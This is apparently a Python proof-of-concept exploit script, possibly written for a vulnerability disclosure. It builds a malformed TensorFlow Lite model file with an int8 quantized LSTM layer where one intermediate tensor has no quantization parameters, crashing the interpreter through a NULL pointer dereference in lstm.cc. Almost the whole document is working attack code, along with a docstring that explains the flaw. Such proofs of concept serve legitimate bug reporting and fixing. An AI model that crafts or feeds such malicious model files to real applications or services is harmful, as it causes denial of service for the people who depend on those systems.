| |
| """ |
| PoC: TFLite LSTM NULL pointer dereference -> DoS (SIGSEGV) |
| |
| Bug: PopulateQuantizedLstmParams8x8_8() in lstm.cc (line ~674) reads |
| intermediate tensors' quantization.params without null check: |
| |
| auto* params = reinterpret_cast<TfLiteAffineQuantization*>( |
| intermediate->quantization.params); |
| intermediate_scale.push_back(params->scale->data[0]); // NULL deref! |
| |
| When an intermediate tensor has no QuantizationParameters in the flatbuffer, |
| quantization.params is NULL -> SIGSEGV at params->scale dereference. |
| |
| Contrast with the sibling function PopulateQuantizedLstmParams8x8_16() |
| which uses GetIntermediatesSafe() - the 8x8_8 path skips this safe accessor. |
| |
| Trigger: int8 quantized LSTM with 12 intermediate tensors (8x8->8 path), |
| where at least one intermediate lacks quantization metadata. |
| |
| Builds .tflite flatbuffer directly (only needs `pip install flatbuffers`). |
| """ |
| import sys |
| import os |
| import struct |
|
|
| |
| TFLITE_SCHEMA_VERSION = 3 |
|
|
| |
| TENSOR_TYPE_INT8 = 9 |
| TENSOR_TYPE_INT16 = 7 |
| TENSOR_TYPE_INT32 = 2 |
|
|
| |
| BUILTIN_OP_LSTM = 16 |
|
|
| |
| BUILTIN_OPTIONS_LSTM = 14 |
|
|
| |
| ACTIVATION_NONE = 0 |
|
|
| |
| LSTM_KERNEL_FULL = 0 |
|
|
| |
| LSTM_INPUT_NAMES = [ |
| "input", |
| "input_to_input_weights", |
| "input_to_forget_weights", |
| "input_to_cell_weights", |
| "input_to_output_weights", |
| "recurrent_to_input_weights", |
| "recurrent_to_forget_weights", |
| "recurrent_to_cell_weights", |
| "recurrent_to_output_weights", |
| "cell_to_input_weights", |
| "cell_to_forget_weights", |
| "cell_to_output_weights", |
| "input_gate_bias", |
| "forget_gate_bias", |
| "cell_gate_bias", |
| "output_gate_bias", |
| "projection_weights", |
| "projection_bias", |
| "output_state", |
| "cell_state", |
| "input_layer_norm_coefficients", |
| "forget_layer_norm_coefficients", |
| "cell_layer_norm_coefficients", |
| "output_layer_norm_coefficients", |
| ] |
|
|
|
|
| def create_poc_model(output_path, n_batch=1, n_input=2, n_cell=2, n_output=2): |
| """Build minimal .tflite with int8 LSTM op that triggers NULL deref. |
| |
| The model has 12 intermediate tensors (8x8->8 path), but intermediate[0] |
| has NO quantization parameters -> NULL pointer dereference in Prepare(). |
| """ |
| import flatbuffers |
|
|
| b = flatbuffers.Builder(8192) |
|
|
| |
| |
| |
| s_main = b.CreateString("main") |
| tensor_names = {} |
| |
| for name in ["input", "i2f_w", "i2c_w", "i2o_w", |
| "r2f_w", "r2c_w", "r2o_w", |
| "fg_bias", "cg_bias", "og_bias", |
| "output_state", "cell_state", "output"]: |
| tensor_names[name] = b.CreateString(name) |
| |
| for i in range(12): |
| tensor_names[f"inter_{i}"] = b.CreateString(f"intermediate_{i}") |
|
|
| |
| |
| |
| def make_int_vec(vals): |
| b.StartVector(4, len(vals), 4) |
| for v in reversed(vals): |
| b.PrependInt32(v) |
| return b.EndVector() |
|
|
| |
| |
| |
| def make_float_vec(vals): |
| b.StartVector(4, len(vals), 4) |
| for v in reversed(vals): |
| b.PrependFloat32(v) |
| return b.EndVector() |
|
|
| |
| |
| |
| def make_int64_vec(vals): |
| b.StartVector(8, len(vals), 8) |
| for v in reversed(vals): |
| b.PrependInt64(v) |
| return b.EndVector() |
|
|
| |
| |
| |
| def make_bool_vec(vals): |
| b.StartVector(1, len(vals), 1) |
| for v in reversed(vals): |
| b.PrependBool(v) |
| return b.EndVector() |
|
|
| |
| |
| |
| def make_quant(scale_val, zp_val=0): |
| """Build a QuantizationParameters table with given scale and zero_point.""" |
| scale_vec = make_float_vec([scale_val]) |
| zp_vec = make_int64_vec([zp_val]) |
| |
| |
| b.StartObject(7) |
| b.PrependUOffsetTRelativeSlot(2, scale_vec, 0) |
| b.PrependUOffsetTRelativeSlot(3, zp_vec, 0) |
| return b.EndObject() |
|
|
| |
| |
| |
| def make_tensor(name_off, shape_off, tensor_type, buf_idx, |
| quant_off=0, is_variable=False): |
| """Build a Tensor table. |
| |
| Tensor has 10+ fields: |
| 0=shape, 1=type, 2=buffer, 3=name, 4=quantization, |
| 5=is_variable, 6=sparsity, 7=shape_signature, 8=has_rank, |
| 9=variant_tensors |
| """ |
| b.StartObject(10) |
| b.PrependUOffsetTRelativeSlot(0, shape_off, 0) |
| b.PrependByteSlot(1, tensor_type, 0) |
| b.PrependUint32Slot(2, buf_idx, 0) |
| b.PrependUOffsetTRelativeSlot(3, name_off, 0) |
| if quant_off: |
| b.PrependUOffsetTRelativeSlot(4, quant_off, 0) |
| if is_variable: |
| b.PrependBoolSlot(5, True, False) |
| return b.EndObject() |
|
|
| |
| |
| |
| shape_input = make_int_vec([n_batch, n_input]) |
| shape_weight_i = make_int_vec([n_cell, n_input]) |
| shape_weight_r = make_int_vec([n_cell, n_output]) |
| shape_bias = make_int_vec([n_cell]) |
| shape_ostate = make_int_vec([n_batch, n_output]) |
| shape_cstate = make_int_vec([n_batch, n_cell]) |
| shape_output = make_int_vec([n_batch, n_output]) |
| shape_inter = make_int_vec([1]) |
|
|
| |
| |
| |
| q_input = make_quant(0.1) |
| q_weight = make_quant(0.01) |
| q_ostate = make_quant(0.1) |
| q_cstate = make_quant(1.0 / 32768) |
| q_output = make_quant(0.1) |
| q_inter = make_quant(0.01) |
|
|
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
|
|
| tensors = [] |
|
|
| |
| tensors.append(make_tensor(tensor_names["input"], shape_input, |
| TENSOR_TYPE_INT8, 1, q_input)) |
|
|
| |
| for name in ["i2f_w", "i2c_w", "i2o_w"]: |
| tensors.append(make_tensor(tensor_names[name], shape_weight_i, |
| TENSOR_TYPE_INT8, len(tensors) + 1, q_weight)) |
|
|
| |
| for name in ["r2f_w", "r2c_w", "r2o_w"]: |
| tensors.append(make_tensor(tensor_names[name], shape_weight_r, |
| TENSOR_TYPE_INT8, len(tensors) + 1, q_weight)) |
|
|
| |
| for name in ["fg_bias", "cg_bias", "og_bias"]: |
| tensors.append(make_tensor(tensor_names[name], shape_bias, |
| TENSOR_TYPE_INT32, len(tensors) + 1)) |
|
|
| |
| tensors.append(make_tensor(tensor_names["output_state"], shape_ostate, |
| TENSOR_TYPE_INT8, 11, q_ostate, is_variable=True)) |
|
|
| |
| tensors.append(make_tensor(tensor_names["cell_state"], shape_cstate, |
| TENSOR_TYPE_INT16, 12, q_cstate, is_variable=True)) |
|
|
| |
| tensors.append(make_tensor(tensor_names["output"], shape_output, |
| TENSOR_TYPE_INT8, 13, q_output)) |
|
|
| |
| |
| for i in range(12): |
| if i == 0: |
| |
| tensors.append(make_tensor(tensor_names[f"inter_{i}"], shape_inter, |
| TENSOR_TYPE_INT16, 14 + i)) |
| else: |
| |
| tensors.append(make_tensor(tensor_names[f"inter_{i}"], shape_inter, |
| TENSOR_TYPE_INT16, 14 + i, q_inter)) |
|
|
| |
| b.StartVector(4, len(tensors), 4) |
| for t in reversed(tensors): |
| b.PrependUOffsetTRelative(t) |
| tensors_vec = b.EndVector() |
|
|
| |
| |
| |
| b.StartObject(5) |
| b.PrependByteSlot(0, ACTIVATION_NONE, 0) |
| b.PrependFloat32Slot(1, 0.0, 0.0) |
| b.PrependFloat32Slot(2, 0.0, 0.0) |
| b.PrependByteSlot(3, LSTM_KERNEL_FULL, 0) |
| b.PrependBoolSlot(4, False, False) |
| lstm_options = b.EndObject() |
|
|
| |
| |
| |
| |
| |
| |
| op_input_indices = [ |
| 0, |
| -1, |
| 1, |
| 2, |
| 3, |
| -1, |
| 4, |
| 5, |
| 6, |
| -1, |
| -1, |
| -1, |
| -1, |
| 7, |
| 8, |
| 9, |
| -1, |
| -1, |
| 10, |
| 11, |
| -1, |
| -1, |
| -1, |
| -1, |
| ] |
| op_inputs_vec = make_int_vec(op_input_indices) |
| op_outputs_vec = make_int_vec([12]) |
|
|
| |
| op_intermediates_vec = make_int_vec(list(range(13, 25))) |
|
|
| |
| mutating = [False] * 24 |
| mutating[18] = True |
| mutating[19] = True |
| op_mutating_vec = make_bool_vec(mutating) |
|
|
| |
| |
| |
| |
| |
| b.StartObject(14) |
| b.PrependUint32Slot(0, 0, 0) |
| b.PrependUOffsetTRelativeSlot(1, op_inputs_vec, 0) |
| b.PrependUOffsetTRelativeSlot(2, op_outputs_vec, 0) |
| b.PrependByteSlot(3, BUILTIN_OPTIONS_LSTM, 0) |
| b.PrependUOffsetTRelativeSlot(4, lstm_options, 0) |
| b.PrependUOffsetTRelativeSlot(7, op_mutating_vec, 0) |
| b.PrependUOffsetTRelativeSlot(8, op_intermediates_vec, 0) |
| operator = b.EndObject() |
|
|
| b.StartVector(4, 1, 4) |
| b.PrependUOffsetTRelative(operator) |
| operators_vec = b.EndVector() |
|
|
| |
| |
| |
| sg_inputs = make_int_vec([0]) |
| sg_outputs = make_int_vec([12]) |
|
|
| b.StartObject(5) |
| b.PrependUOffsetTRelativeSlot(0, tensors_vec, 0) |
| b.PrependUOffsetTRelativeSlot(1, sg_inputs, 0) |
| b.PrependUOffsetTRelativeSlot(2, sg_outputs, 0) |
| b.PrependUOffsetTRelativeSlot(3, operators_vec, 0) |
| b.PrependUOffsetTRelativeSlot(4, s_main, 0) |
| subgraph = b.EndObject() |
|
|
| b.StartVector(4, 1, 4) |
| b.PrependUOffsetTRelative(subgraph) |
| subgraphs_vec = b.EndVector() |
|
|
| |
| |
| |
| b.StartObject(4) |
| b.PrependByteSlot(0, BUILTIN_OP_LSTM, 0) |
| b.PrependInt32Slot(2, 1, 1) |
| b.PrependInt32Slot(3, BUILTIN_OP_LSTM, 0) |
| op_code = b.EndObject() |
|
|
| b.StartVector(4, 1, 4) |
| b.PrependUOffsetTRelative(op_code) |
| opcodes_vec = b.EndVector() |
|
|
| |
| |
| |
| |
| |
| |
| |
| |
| |
|
|
| weight_data = bytes(n_cell * n_input) |
| bias_data = bytes(n_cell * 4) |
|
|
| |
| data_vecs = {} |
| for buf_idx in range(2, 8): |
| b.StartVector(1, len(weight_data), 1) |
| for byte in reversed(weight_data): |
| b.PrependByte(byte) |
| data_vecs[buf_idx] = b.EndVector() |
|
|
| for buf_idx in range(8, 11): |
| b.StartVector(1, len(bias_data), 1) |
| for byte in reversed(bias_data): |
| b.PrependByte(byte) |
| data_vecs[buf_idx] = b.EndVector() |
|
|
| |
| bufs = [] |
| for buf_idx in range(26): |
| if buf_idx in data_vecs: |
| b.StartObject(1) |
| b.PrependUOffsetTRelativeSlot(0, data_vecs[buf_idx], 0) |
| bufs.append(b.EndObject()) |
| else: |
| b.StartObject(1) |
| bufs.append(b.EndObject()) |
|
|
| b.StartVector(4, 26, 4) |
| for buf in reversed(bufs): |
| b.PrependUOffsetTRelative(buf) |
| buffers_vec = b.EndVector() |
|
|
| |
| |
| |
| b.StartObject(8) |
| b.PrependUint32Slot(0, TFLITE_SCHEMA_VERSION, 0) |
| b.PrependUOffsetTRelativeSlot(1, opcodes_vec, 0) |
| b.PrependUOffsetTRelativeSlot(2, subgraphs_vec, 0) |
| b.PrependUOffsetTRelativeSlot(4, buffers_vec, 0) |
| model = b.EndObject() |
|
|
| b.Finish(model, b"TFL3") |
| buf = bytes(b.Output()) |
|
|
| with open(output_path, 'wb') as f: |
| f.write(buf) |
|
|
| print(f"[+] Model written: {output_path} ({len(buf)} bytes)") |
| print(f"[+] LSTM config: n_batch={n_batch}, n_input={n_input}, " |
| f"n_cell={n_cell}, n_output={n_output}") |
| print(f"[+] 12 intermediate tensors (8x8->8 quantized LSTM path)") |
| print(f"[+] intermediate[0] has NO quantization params -> NULL deref") |
| print(f"[+] Bug location: lstm.cc PopulateQuantizedLstmParams8x8_8()") |
| print(f"[+] auto* params = reinterpret_cast<TfLiteAffineQuantization*>(") |
| print(f"[+] intermediate->quantization.params); // NULL!") |
| print(f"[+] params->scale->data[0]; // SIGSEGV") |
|
|
|
|
| if __name__ == "__main__": |
| out = os.path.join(os.path.dirname(os.path.abspath(__file__)), |
| "poc_lstm_null_deref.tflite") |
| create_poc_model(out) |
|
|